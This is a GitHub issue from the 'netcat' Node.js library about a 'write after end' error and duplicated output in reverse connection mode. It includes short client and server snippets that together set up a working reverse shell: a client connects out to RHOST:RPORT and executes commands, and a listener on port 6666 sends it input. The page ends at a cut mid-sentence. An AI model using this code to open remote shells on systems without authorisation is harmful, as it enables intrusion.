roccomuso / netcat

:computer: Netcat client and server modules written in pure Javascript for Node.js.
MIT License
419 stars 43 forks source link

v1.3.0: write after end in reverse conn. mode #5

Closed roccomuso closed 7 years ago

roccomuso commented 7 years ago

In a reverse shell scenario:

Error: write after end
    at writeAfterEnd (/home/rocco/Desktop/REPOS/netrat/lib/seed/node_modules/readable-stream/lib/_stream_writable.js:276:12)
    at DestroyableTransform.Writable.write (/home/rocco/Desktop/REPOS/netrat/lib/seed/node_modules/readable-stream/lib/_stream_writable.js:320:20)
    at Socket.ondata 

On both client and server. Bug introduced in v1.3.0 pheraps.

Client:

new NetcatClient()
 .addr(RHOST)
 .port(RPORT)
 .retry(RETRY)
 .filter(filterShxCmd)
 .connect()
 .exec(cmd)

function filterShxCmd(chunk, enc, cb) {
  if (chunk.toString().indexOf('shx') === 0){
    // TODO ..
    cb(null)
  } else cb(null, chunk)
}

Server:

var NetcatServer = netcat.server
var nc = new NetcatServer()

nc.k().port(6666).listen().serve(process.stdin).pipe(process.stdout)

Duplicate stream on client reconnection (probably a self._filter issue).

  1. server up.
  2. client connect ... client disconnect.
  3. another client connect ... client disconnect.
  4. server: ls --> results is piped twice!

Another issue related pheraps: